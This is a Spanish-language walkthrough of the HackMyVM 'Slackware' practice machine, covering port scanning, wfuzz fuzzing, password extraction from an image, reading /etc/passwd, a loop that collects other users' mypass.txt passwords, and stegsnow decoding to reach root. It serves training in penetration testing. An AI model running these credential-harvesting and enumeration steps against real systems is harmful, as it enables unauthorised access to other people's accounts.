HackMyVM - Slackware

- Reverse Image Search - (OSINT)
- Extension enumeration 7z - (WFUZZ)
- WhiteSpace Steganography StegSnow - (Privesc)
Escaneo de puertos
❯ sudo nmap -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.1.17
PORT STATE SERVICE REASON
1/tcp open tcpmux syn-ack ttl 64
2/tcp open compressnet syn-ack ttl 64
MAC Address: 08:00:27:CB:5E:B8 (Oracle VirtualBox virtual NIC)
Escaneo de servicios
❯ nmap -sV -sC -p 1,2 -v 192.168.1.17
PORT STATE SERVICE VERSION
1/tcp open ssh OpenSSH 9.3 (protocol 2.0)
| ssh-hostkey:
| 256 e2:66:60:79:bc:d1:33:2e:c1:25:fa:99:e5:89:1e:d3 (ECDSA)
|_ 256 98:59:c3:a8:2b:89:56:77:eb:72:4a:05:90:21:cb:40 (ED25519)
2/tcp open http Apache httpd 2.4.58 ((Unix))
|_http-server-header: Apache/2.4.58 (Unix)
| http-methods:
| Supported Methods: GET POST OPTIONS HEAD TRACE
|_ Potentially risky methods: TRACE
|_http-title: Tribute to Slackware
HTTP TCP - 2

Lanzo una petición GET al archivo robots.txt.
❯ curl -s 192.168.1.17:2/robots.txt;echo
User-agent: *
#7z.001
Realizo fuerza bruta de directorios.
❯ wfuzz -t 200 -c --hw=672,23 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.1.17:2/FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.17:2/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000084238: 301 7 L 20 W 239 Ch "getslack"
Mando una petición GET al nuevo directorio encontrado.
❯ curl -s 192.168.1.17:2/getslack/
search here
Después de varias búsquedas en el directorio /getslack realizo una enumeración por 7z.001.
❯ wfuzz -t 100 -c --hl=7 -w /usr/share/seclists/Discovery/Web-Content/big.txt -u "http://192.168.1.17:2/getslack/FUZZ.7z.001"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.17:2/getslack/FUZZ.7z.001
Total requests: 20476
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000018573: 200 80 L 794 W 19474 Ch "twitter"
Con wget puedo descargarme el archivo.
❯ wget http://192.168.1.17:2/getslack/twitter.7z.001
--2024-04-28 13:11:16-- http://192.168.1.17:2/getslack/twitter.7z.001
Conectando con 192.168.1.17:2... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 20480 (20K) [application/x-7z-compressed]
Grabando a: «twitter.7z.001.1»
twitter.7z.001.1 100%[===============================>] 20,00K --.-KB/s en 0s
Al abrirlo me da error algo que me esperaba ya que el nombre de archivo indica que es un archivo partido con 7z.
❯ 7z e twitter.7z.001
7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
64-bit locale=es_ES.UTF-8 Threads:4 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 20480 bytes (20 KiB)
Extracting archive: twitter.7z.001
ERROR: twitter.7z.001
twitter.7z
Open ERROR: Cannot open the file as [7z] archive
ERRORS:
Unexpected end of archive
Can't open as archive: 1
Files: 0
Size: 0
Compressed: 0
Para descargar todos los archivos disponibles he creado este sencillo script en bash.
#!/bin/bash
for i in {1..20}; do
wget http://192.168.1.17:2/getslack/twitter.7z.$(printf "%03d" $i)
done
Una vez descargados descomprimo el archivo y en su interior hay una imagen.
❯ 7z e twitter.7z.001
7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
64-bit locale=C.UTF-8 Threads:4 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 20480 bytes (20 KiB)
Extracting archive: twitter.7z.001
--
Path = twitter.7z.001
Type = Split
Physical Size = 20480
Volumes = 14
Total Physical Size = 268100
----
Path = twitter.7z
Size = 268100
--
Path = twitter.7z
Type = 7z
Physical Size = 268100
Headers Size = 130
Method = LZMA2:384k
Solid = -
Blocks = 1
Everything is Ok
Size: 267951
Compressed: 268100
Con strings encuentro esta cadena que parece ser una contraseña.
❯ strings -n 14 twitter.png
t**********1993
Como no tengo el usuario realizo una búsqueda inversa de imágenes con google.

Consigo conectarme al sistema como usuario Patrick.
❯ ssh patrick@192.168.1.17 -p 1
(patrick@192.168.1.17) Password:
Linux 5.15.145.
patrick@slackware:~$ id
uid=1000(patrick) gid=1000(patrick) groups=1000(patrick),1001(kretinga)
Enumero usuarios del sistema lanzando un cat al fichero passwd.
patrick@slackware:~$ cat /etc/passwd | grep bash
root:x:0:0::/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
patrick:x:1000:1000::/home/patrick:/bin/bash
kretinga:x:1001:1001::/home/kretinga:/bin/bash
claor:x:1002:1002::/home/claor:/bin/bash
alienum:x:1003:1003::/home/alienum:/bin/bash
mrmidnight:x:1004:1004::/home/mrmidnight:/bin/bash
annlynn:x:1005:1005::/home/annlynn:/bin/bash
powerful:x:1006:1006::/home/powerful:/bin/bash
proxy:x:1007:1007::/home/proxy:/bin/bash
x4v1l0k:x:1008:1008::/home/x4v1l0k:/bin/bash
icex64:x:1009:1009::/home/icex64:/bin/bash
mindsflee:x:1010:1010::/home/mindsflee:/bin/bash
zacarx007:x:1011:1011::/home/zacarx007:/bin/bash
terminal:x:1012:1012::/home/terminal:/bin/bash
zenmpi:x:1013:1013::/home/zenmpi:/bin/bash
sml:x:1014:1014::/home/sml:/bin/bash
emvee:x:1015:1015::/home/emvee:/bin/bash
nls:x:1016:1016::/home/nls:/bin/bash
noname:x:1017:1017::/home/noname:/bin/bash
nolose:x:1018:1018::/home/nolose:/bin/bash
sancelisso:x:1019:1019::/home/sancelisso:/bin/bash
ruycr4ft:x:1020:1020::/home/ruycr4ft:/bin/bash
tasiyanci:x:1021:1021::/home/tasiyanci:/bin/bash
lanz:x:1022:1022::/home/lanz:/bin/bash
pylon:x:1023:1023::/home/pylon:/bin/bash
wwfymn:x:1024:1024::/home/wwfymn:/bin/bash
whitecr0wz:x:1025:1025::/home/whitecr0wz:/bin/bash
bit:x:1026:1026::/home/bit:/bin/bash
infayerts:x:1027:1027::/home/infayerts:/bin/bash
rijaba1:x:1028:1028::/home/rijaba1:/bin/bash
cromiphi:x:1029:1029::/home/cromiphi:/bin/bash
gatogamer:x:1030:1030::/home/gatogamer:/bin/bash
ch4rm:x:1031:1031::/home/ch4rm:/bin/bash
aceomn:x:1032:1032::/home/aceomn:/bin/bash
kerszi:x:1033:1033::/home/kerszi:/bin/bash
d3b0o:x:1034:1034::/home/d3b0o:/bin/bash
avijneyam:x:1035:1035::/home/avijneyam:/bin/bash
zayotic:x:1036:1036::/home/zayotic:/bin/bash
kaian:x:1037:1037::/home/kaian:/bin/bash
c4rta:x:1038:1038::/home/c4rta:/bin/bash
boyras200:x:1039:1039::/home/boyras200:/bin/bash
waidroc:x:1040:1040::/home/waidroc:/bin/bash
ziyos:x:1041:1041::/home/ziyos:/bin/bash
b4el7d:x:1042:1042::/home/b4el7d:/bin/bash
rpj7:x:1043:1043::/home/rpj7:/bin/bash
h1dr0:x:1044:1044::/home/h1dr0:/bin/bash
catch_me75:x:1045:1045::/home/catch_me75:/bin/bash
josemlwdf:x:1046:1046::/home/josemlwdf:/bin/bash
skinny:x:1047:1047::/home/skinny:/bin/bash
0xeex75:x:1048:1048::/home/0xeex75:/bin/bash
0xh3rshel:x:1049:1049::/home/0xh3rshel:/bin/bash
0xjin:x:1050:1050::/home/0xjin:/bin/bash
Con ls -laR realizo una búsqueda recursiva en el /home para ver en que directorios puedo leer o escribir.
patrick@slackware:~$ ls -laR /home 2>/dev/null
/home:
total 2
/home/claor:
total 9
drwxr-x--- 2 claor kretinga 112 Mar 10 22:15 ./
drwxr-xr-x 54 root root 1400 Mar 10 22:16 ../
-rw-r--r-- 1 claor claor 3729 Feb 2 2022 .screenrc
-rw-r----- 1 claor kretinga 13 Mar 10 22:15 mypass.txt
/home/kretinga:
total 9
drwxr-x--- 2 kretinga patrick 112 Mar 10 22:15 ./
drwxr-xr-x 54 root root 1400 Mar 10 22:16 ../
-rw-r--r-- 1 kretinga kretinga 3729 Feb 2 2022 .screenrc
-rw-r----- 1 kretinga patrick 13 Mar 10 22:15 mypass.txt
Puedo leer el archivo mypass.txt de los usuarios kretinga y claor.
patrick@slackware:~$ cat /home/kretinga/mypass.txt
lpV8UG0GxKuw
patrick@slackware:~$ cat /home/claor/mypass.txt
JRksNe5rWgis
En cada usuario que voy entrando veo que tengo permisos para leer el archivo mypass.txt de cada usuario del sistema.
claor@slackware:~$ ls -laR /home 2>/dev/null
/home/alienum:
total 9
drwxr-x--- 2 alienum claor 112 Mar 10 22:15 .
drwxr-xr-x 54 root root 1400 Mar 10 22:16 ..
-rw-r--r-- 1 alienum alienum 3729 Feb 2 2022 .screenrc
-rw-r----- 1 alienum claor 13 Mar 10 22:15 mypass.txt
claor@slackware:~$ cat ../alienum/mypass.txt
ex0XVRAAjCWX
Este código muestra los usuarios con sus contraseñas de una forma ordenada pero no automatiza el proceso ya que tienes que copiar y pegar el código en cada usuario.
for user in $(cut -d: -f1 /etc/passwd)
do
if [ -f "/home/$user/mypass.txt" ]; then
echo -e "\n------------"
echo "$user"
cat "/home/$user/mypass.txt"
echo "------------"
fi
done
En el home de rpj7 se encuentra la flag del usuario.

Me llama la atención los espacios en blanco que tiene el archivo user.txt.

Si busco en internet encuentro este vídeo que muestra la herramienta stegsnow.


Codifico el user.txt a base64.
rpj7@slackware:~$ cat user.txt | base64
SE1We1RoMXMxczFVczNyRmxhZ30JICAgICAJICAgICAgCSAJICAgCSAgICAgCSAgICAgICAJICAg
ICAgIAogICAgCSAgICAgIAkJICAgIAkgICAgICAgCQkJIAkgICAJICAgICAgIAogICAgICAgCSAJ
ICAgICAJICAgICAgIAkgICAgICAJICAgIAkgICAgICAJICAgICAJICAgIAoJICAgICAJICAgIAkg
CSAgICAJICAgICAJICAgICAgCSAgICAgICAJICAgCSAgCiAgICAgCSAgIAkgICAJICAgICAJICAg
ICAJICAgCSAJCSAgICAgIAkgCiAgICAgCSAgICAgICAJICAgICAgIAkgICAgCSAgICAgIAkgICAg
CSAgICAgCSAgCSAKCSAgICAgICAJICAgICAJIAo=
Copio la cadena en base64 y en mi máquina la guardo en un archivo con nombre whiteSpaces.txt.

La decodifico y la guardo en el archivo ws.txt.
❯ base64 -d whiteSpaces.txt > ws.txt
Finalmente con la herramienta stegsnow decodifico el archivo ws.txt que contiene los espacios en blanco y encuentro una contraseña.

Me logueo como root usando la contraseña encontrada.
rpj7@slackware:~$ su root
Password:
root@slackware:/home/rpj7# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),17(audio)
Si intento leer la flag de root.
root@slackware:~# cat roo00oot.txt
There is no root flag here, but it is somewhere in the /home directory.
Me muevo al directorio /home y con grep hago una búsqueda recursiva de la palabra flag.
root@slackware:/home# grep -r flag
Y aquí termina la máquina Slackware.
Saludos!